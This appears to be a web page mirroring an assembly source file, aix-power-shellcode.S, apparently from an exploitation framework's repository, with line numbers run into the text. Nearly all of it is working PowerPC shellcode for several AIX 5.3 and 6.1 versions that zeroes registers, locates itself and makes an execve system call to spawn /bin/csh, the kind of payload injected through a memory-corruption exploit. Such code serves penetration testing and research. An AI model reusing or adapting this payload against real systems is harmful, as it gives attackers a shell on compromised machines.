Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/aix-power-shellcode.S
Views: 11766
/*1* aix-power-shellcode.S2* Copyright 2008 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920/*21* Supported AIX versions:22*23* -DAIX614 AIX Version 6.1.424* -DAIX613 AIX Version 6.1.325* -DAIX612 AIX Version 6.1.226* -DAIX611 AIX Version 6.1.127* -DAIX5310 AIX Version 5.3.1028* -DAIX539 AIX Version 5.3.929* -DAIX538 AIX Version 5.3.830* -DAIX537 AIX Version 5.3.731*32*/3334#include "aix-power.h"3536.globl .main37.csect .text[PR]3839.main:4041shellcode:42lil %r29,__CAL43xor. %r5,%r5,%r544bnel shellcode45mflr %r3046cal %r30,511(%r30)47cal %r3,-511+40(%r30)48stb %r5,-511+48(%r30)49stu %r5,-4(%r1)50stu %r3,-4(%r1)51mr %r4,%r152cal %r2,__NC_execve(%r29)53crorc %cr6,%cr6,%cr654.long 0x44ffff0255.asciz "/bin/csh"56575859